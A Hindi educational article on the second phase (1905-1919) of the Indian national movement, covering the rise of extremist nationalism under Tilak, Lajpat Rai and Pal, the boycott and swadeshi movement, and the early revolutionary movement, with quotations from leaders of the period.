भारतीय राष्ट्रीय आन्दोलन (द्वितीय चरण)

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आन्दोलन का द्वितीय चरण (1905-1919 ई.)

भारतीय राष्ट्रीय आन्दोलन के इस चरण में एक ओर उग्रवादी तो दूसरी ओर क्रांतिकारी आन्दोलन चलाये गये। दोनों ही एक मात्र उद्देश्य, ब्रिटिश राज्य से मुक्ति एवं पूर्ण स्वराज्य की प्राप्ति, के लिए लड़ रहे थे। एक तरफ़ उग्रवादी विचारधारा के लोग 'बहिष्कार आन्दोलन' को आधार बनाकर लड़ रहे थे तो दूसरी ओर क्रांतिकारी विचारधारा के लोग बमों और बन्दूकों के उपयोग से स्वतन्त्रता प्राप्त करना चाहते थे। जहाँ एक ओर उग्रवादी शान्तिपूर्ण सक्रिय राजनीतिक आन्दोलनों में विश्वास करते थे, वहीं क्रातिकारी अंग्रेज़ों को भारत से भगाने में शक्ति एवं हिंसा के उपयोग में विश्वास करते थे।

Blockquote-open.gif भारत में उग्र राष्ट्रवाद के उदय में महत्वपूर्ण भूमिका का निर्वाह बाल गंगाधर तिलक, लाला लाजपत राय एवं विपिन चन्द्र पाल ने किया। इन नेताओं के योग्य नेतृत्व में ही यह आन्दोलन फला-फूला। तिलक मानते थे कि "अच्छी विदेशी सरकार की अपेक्षा हीन स्वदेशी सरकार श्रेष्ठ है।" तिलक ने 'गणपति उत्सव' एवं 'शिवाजी उत्सव' को शुरू करवाकर भारतीयों में राष्ट्रीय चेतना के प्रसार की दिशा में प्रयास किया। Blockquote-close.gif

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उग्रवादिता के कारण

  • ब्रिटिश सरकार द्वारा लगातार कांग्रेस की मांगो के प्रति अपनायी जाने वाली उपेक्षापूर्ण नीति ने कांग्रेस के युवा नेताओं, जेसे- बाल गंगाधर तिलक, लाला लाजपत राय एवं विपिन चन्द्र पाल को अन्दर तक आन्दोलित कर दिया। इन युवा नेताओं ने उदारवादी नेताओं की राजनीतिक भिक्षावृति में कोई विश्वास नहीं जताया। इन्होंने सरकार से अपनी मांगे मनवाने के लिए कठोर क़दम उठाने की आवश्यकता पर बल दिया।
  • हिन्दू धर्म के पुनरुत्थान ने भी उग्रवाद के उदय में महत्वपूर्ण योगदान दिया। कांग्रेस के उदारवादी नेताओं ने पश्चिमी सभ्यता एवं संस्कृति में अपनी पूर्ण निष्ठा जताई, परन्तु दूसरी ओर स्वामी विवेकानन्द, दयानंद सरस्वती, तिलक, लाला लाजपत राय, अरविन्द घोष एवं विपिनचन्द्र पाल जैसे लोग भी थे, जिन्होंने अपनी सभ्यता एवं संस्कृति को पाश्चात्य संस्कृति से श्रेष्ठ प्रमाणित किया। अरविन्द घोष ने कहा कि "स्वतंत्रता हमारे जीवन का उद्देश्य है और हिन्दू धर्म ही हमारे इस उद्देश्य की पूर्ति करेगा। राष्ट्रीयता एक धर्म है और वह ईश्वर की देन है। ऐनी बेसेन्ट ने कहा कि "सारी हिन्दू प्रणाली पश्चिमी सभ्यता से बढकर है।"
  • 1876 ई. से 1900 ई. के मध्य भारत लगभग 18 बार अकाल की चपेट में आ चुका था, जिसमें धन-जन की भीषण हानि हुई। 1897-1898 ई. में बम्बई में प्लेग की बीमारी की चपेट में आकर लगभग 1 लाख, 73 हज़ार लोग काल कवलित हो गये। सरकार ने इस दिशा में ऐसा कोई प्रयास नहीं किया, जिससे इस बीमारी को रोका जा सकता, बल्कि उल्टे प्लेग की जाँच के बहाने भारतीयों के घरों में उनकी बहन-बेटियों के साथ अमानवीय व बर्बरता का व्यवहार किया गया। तिलक ने सरकार की इस काली करतूत की अपने पत्र 'केसरी' में कटु आलोचना की, जिसके कारण उन्हें 18 महीने तक सख्त पहरे में जेल में रहना पड़ा। प्लेग के समय की ज्यादतियों से प्रभावित होकर पूना के 'चापेकर बन्धुओं' (दामोदर एवं बालकृष्ण) ने प्लेग अधिकारी रैण्ड एवं आमर्स्ट को गोली मार दी। निःसंदेह इन घटनाओं ने उग्र राष्ट्रवाद को प्रोत्साहन दिया।
  • लॉर्ड बेकन का यह कथन कि 'अधिक दरिद्रता और आर्थिक असंतोष क्रांति को जन्म देता है', भारत के संदर्भ में अक्षरशः सत्य है, क्योंकि अंग्रेज़ों की तीव्र आर्थिक शोषण की नति ने सचमुच भारत में उग्रवाद को जन्म दिया। शिक्षित भारतीयों को रोजगार से दूर रखने की सरकार की नीति ने भी उग्रवाद को बढ़ावा दिया। दादाभाई नौरोजी ने 'ड्रेन थ्योरी' का प्रतिपादन कर अंग्रेज़ राज्य की शोषण नीतियों का अनावरण कर दिया। गोविन्द रानाडे की 'ऐसे इन इंडियन इकोनोमिक्स, रमेश चन्द्र दत्त की 'इकोनोमिक हिस्ट्री ऑफ़ इंडिया, आदि पुस्तकों ने अंग्रेज़ी राज्य की आर्थिक नीतियों की ढोल की पोल खोल दी। इसने उग्रवाद एवं स्वराज्य की दिशा में नेताओं को उन्मुख किया।
  • तत्कालीन अन्तर्राष्ट्रीय घटनाओं का भी उग्रवादी तत्वों को बढ़ावा देने में महत्वपूर्ण योगदान रहा है। मिस्र, फ़ारस एवं तुर्की में सफल स्वतंत्रता संग्राम ने भारतीयों को काफ़ी उत्साहित किया। 1896 ई. में अफ़्रीका का पिछड़े एवं छोटे राष्ट्र अबीसीनिया या इथियोपिया ने इटली को परास्त कर दिया। 1905 ई. में जापान की रूस पर विजय आदि से सचमुच उग्र राष्ट्रवादी लोगों को बढ़ावा मिला। गैरेट ने माना था कि "इटली की हार ने 1897 में लोकमान्य तिलक के आन्दोलन को बड़ा बल प्रदान किया।"
  • लॉर्ड कर्ज़न की प्रतिक्रियावादी नीतियों का भारतीय युवा मन पर कड़ी प्रतिक्रिया हुई। कर्ज़न के सात वर्ष के शास काल को 'शिष्टमण्डलों, भूलों तथा आयोगों का काल' कहा जाता है। कर्ज़न के प्रतिक्रियावादी कार्यों, जैसे- 'कलकत्ता कॉरपोरेशन अधिनियम', 'विश्विद्यालय अधिनियम' एवं 'बंगाल विभाजन' ने भारत में उग्रवाद को बढ़ाने में महत्वपूर्ण कार्य किया।
  • भारत में उग्र राष्ट्रवाद के उदय में महत्वपूर्ण भूमिका का निर्वाह बाल गंगाधर तिलक, लाला लाजपत राय एवं विपिन चन्द्र पाल ने किया। इन नेताओं के योग्य नेतृत्व में ही यह आन्दोलन फला-फूला। तिलक मानते थे कि "अच्छी विदेशी सरकार की अपेक्षा हीन स्वदेशी सरकार श्रेष्ठ है एवं 'स्वराज्य मेरा जन्म सिद्ध अधिकार है और इसे मै लेकर रहूँगा।" तिलक ने 'गणपति उत्सव' एवं 'शिवाजी उत्सव' को शुरू करवाकर भारतीयों में राष्ट्रीय चेतना के प्रसार की दिशा में प्रयास किया।

लाजपत राय का कथन

लाला लाजपत राय कहा- "अंग्रेज़ भिखारी से अधिक घृणा करते हैं ओर मैं सोचता हूँ कि भिखारी घृणा के पात्र हैं भी। अतः हमारा कर्तव्य है कि हम यह सिद्ध कर दें कि हम भिखारी नहीं है।" विपिन चन्द्र पाल ने बंगाल के युवाओं का नेतृत्व किया। उन्हें बंगाल में 'तिलक का सेनापति' माना जाता है। कुछ अन्य महत्वपूर्ण कारण, जैसे- उपनिवेशों में भारतीयों के साथ किया जाने वाले दुर्व्यवहार, जातीय कटुता एवं भारतीयों के साथ किये जाने वाले अभद्र व्यवहार भी भारत में उग्र राष्ट्रवाद को प्रोत्साहन देने के लिए उत्तरादायी रहे।

राजनीतिक लक्ष्य एवं कार्य प्रणाली

कांग्रेस के चार प्रमुख नेताओं- बाल गंगाधर तिलक, लाला लाजपत राय, विपिन चन्द्र पाल एवं अरविन्द घोष ने भारत में उग्रवादी आन्दोलन का नेतृत्व किया। इन नेताओं ने स्वराज्य प्राप्ति को ही अपना प्रमुख लक्ष्य एवं उद्देश्य बनाया। तिलक ने नारा दिया कि 'स्वराज्य मेरा जन्म सिद्ध अधिकार है और मैं इसे लेकर रहूँगा।' इसके अलावा उन्होंने कहा 'स्वराज्य अथवा स्वशासन स्वधर्म के लिए आवश्यकता है।' स्वराज्य के बिना न कोई सामाजिक सुधार हो सकता है, न कोई औद्योगिक प्रगति, न कोई उपयोगी शिक्षा और न ही राष्ट्रीय जीवन की परिपूर्णता। यही हम चाहते हैं और इसी के लिए ईश्वर ने मुझे इस संसार में पैदा किया है।' अरविन्द घोष ने कहा कि 'राजनीतिक स्वतन्त्रता एक राष्ट्र का जीवन श्वास है। बिना राजनीतिक स्वतन्त्रता के सामाजिक तथा शैक्षिणक सुधार, औद्योगिक प्रसार, एक जाति की नैतिक उन्नति आदि की बात सोचना मूर्खता की चरम सीमा है।' जहाँ उदारवादी दल के नेता ब्रिटिश साम्राज्य के अन्तर्गत 'औपनिवेशिक स्वशासन' चाहते थे, वहीं उग्रवादी नेताओं का मानना था कि ब्रिटिश शासन का अन्त कर ही हम स्वराज्य या स्वशासन प्राप्त कर सकते हैं। उदारवादी दल संवैधानिक आन्दोलन में, अंग्रेज़ों की न्यायप्रियता में, वार्षिक सम्मेलनों में, भाषण देने में, प्रस्ताव पारित करने में और इंग्लैण्ड को शिष्टमडल भेजने में विश्वास करता था। उग्रवादी नेता अहिंसात्मक प्रतिरोध, सामूहिक आन्दोलन एवं आत्म बलिदान में विश्वास करते थे। सर हेनरी कॉटन ने कहा कि 'उग्रवादी भारत में सब प्रकार से मुक्त और स्वतंत्र राष्ट्रीय शासन प्रणाली की स्थापना करना चाहते थे।'

बहिष्कार आन्दोलन

अपनी मांगों को मनवाने के लिए उदारवादियों की अनुनय-विनय की नीति को अस्वीकार करते हुए उसे उग्रवादियों ने 'राजनीतिक भिक्षावृत्ति' की संज्ञा दी। तिलक ने कहा कि 'हमारा उद्देश्य आत्म-निर्भरता है, भिक्षावृत्ति नहीं।' विपिन चन्द्र पाल ने कहा कि 'यदि सरकार मेरे पास आकर कहे कि स्वराज्य ले लो, तो मैं उपहार के लिए धन्यवाद देते हुए कहूँगा कि 'मै उस वस्तु को स्वीकार नहीं कर सकता, जिसको प्राप्त करने की सामर्थ्य मुझमें नहीं है।' इन नेताओं ने विदेशी माल का बहिष्कार, स्वदेशी माल को अंगीकार कर राष्ट्रीय शिक्षा एवं सत्याग्रह के महत्व पर बल दिया। उदारवादी नेता स्वदेशी एवं बहिष्कार आन्दोलन को बंगाल तक ही सीमित रखना चाहते थे और उनका बहिष्कार आन्दोलन विदेशी माल के बहिष्कार तक ही सीमित था, किन्तु उग्रवादी नेता इन आन्दोलनों का प्रसार देश के विस्तृत क्षेत्र में करना चाहते थे। इनके बहिष्कार आन्दोलन की तुलना गांधी जी के 'असहयोग आन्दोलन' से की जा सकती है। ये बहिष्कार आन्दोलन को असहयोग आन्दोलन और शांतिपूर्ण प्रतिरोध तक ले जाना चाहते थे। केवल विदेशी कपड़े का ही बहिष्कार नहीं, अपितु सरकारी स्कूलों, अदालतों, उपाधियों सरकारी नौकरियों का भी बहिष्कार इसमें शामिल था।

लाला लाजपत राय ने बहिष्कार के सन्दर्भ में कहा कि 'हम लोगों ने राजनिवास से मुख मोड़कर निर्धनों की झोपड़ियों की ओर कर लिया है।' यही है बहिष्कार आन्दोलन की मनोवृत्ति, नीति एवं आत्मिक महत्व। उग्रवादी नेताओ ने राष्ट्रीय शिक्षा के महत्व को स्वीकार करते हुए इसी में भारतीयों के हित के निहित होने की बात कही। विपिन चन्द्र पाल ने कहा 'राष्ट्रीय शिक्षा वह शिक्षा है, जो राष्ट्रीय रूपरेखाओं के आधार पर चलाई जाय, जो राष्ट्र के प्रतिनिधियों द्वारा नियंत्रित हो और जो इस प्रकार नियंत्रित एवं संचालित हो, जिसका उद्देश्य राष्ट्रीय भाग्य की प्राप्ति हो।' गुरुदास बनर्जी ने बंगाल में 'राष्ट्रीय शिक्षा परिषद' एवं तिलक ने 'दक्षिण शिक्षा समाज' की स्थापना की। बाल गंगाधर तिलक ने सरकार के साथ असहयोग करने की सलाह दी।

क्रान्तिकारी आन्दोलन

बम और पिस्तौल की राजनीति में विश्वास रखने वाले क्रांतिकारी विचारधारा के लोग समझौते की राजनीति में कदापि विश्वास नहीं करते थे। उनका उद्देश्य था- 'जान दो या जान लो।' बम की राजनीति उनके लिए इसलिए आवश्यक हो गयी थी, क्योंकि उन्हें अपनी भावनायें व्यक्त करने या आज़ादी के लिए संघर्ष करने का और कोई रास्ता नज़र नही आ रहा था। आतंकवादी शीघ्र-अतिशीघ्र परिणाम चाहते थे। वे उदारवादियों की प्रेरणा और उग्रवादियों के धीमें प्रभाव की नीति में विश्वास नहीं करते थे। मातृभूमि को विदेशी शासन से मुक्त करने के लिए वे हत्या करना, डाका डालना, बैंक, डाकघर अथवा रेलगाड़ियाँ को लूटना सभी कुछ वैध समझते थे। क्रान्तिकारी विचारधारा के सर्वाधिक समर्थक बंगाल में थे। उन्हें ब्रिटिश हुकूमत के प्रति घृणा थी। वे बोरिया-बिस्तर सहित अंग्रेज़ों को भारत से बाहर भगाना चाहते थे। 'वारीसाल सम्मेलन' के बाद 22 अप्रैल, 1906 ई. के अख़बार 'युगांतार' ने लिखा, 'उपाय तो स्वयं लोकों के पास है। उत्पीड़न के इस अभिशान को रोकने के लिए भारत में रहने वाले 30 करोड़ लोगों को अपने 60 करोड़ हाथ उठाने होंगें, बल को बल द्वारा ही रोका जाना चाहिए।' इन क्रान्तिकारी युवकों ने आयरिश आतंकवादियों एवं रूसी निहलिस्टों (अतिवादी) के संघर्ष के तरीकों को अपनाकर बदनाम अंग्रेज़ अधिकारियों को मारने की योजना बनाई। इस समय देश के अनेक भागों में, मुख्यतः, महाराष्ट्र एवं पंजाब में क्रांतिकारी कार्यवाहियाँ हुई।



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टीका टिप्पणी और संदर्भ

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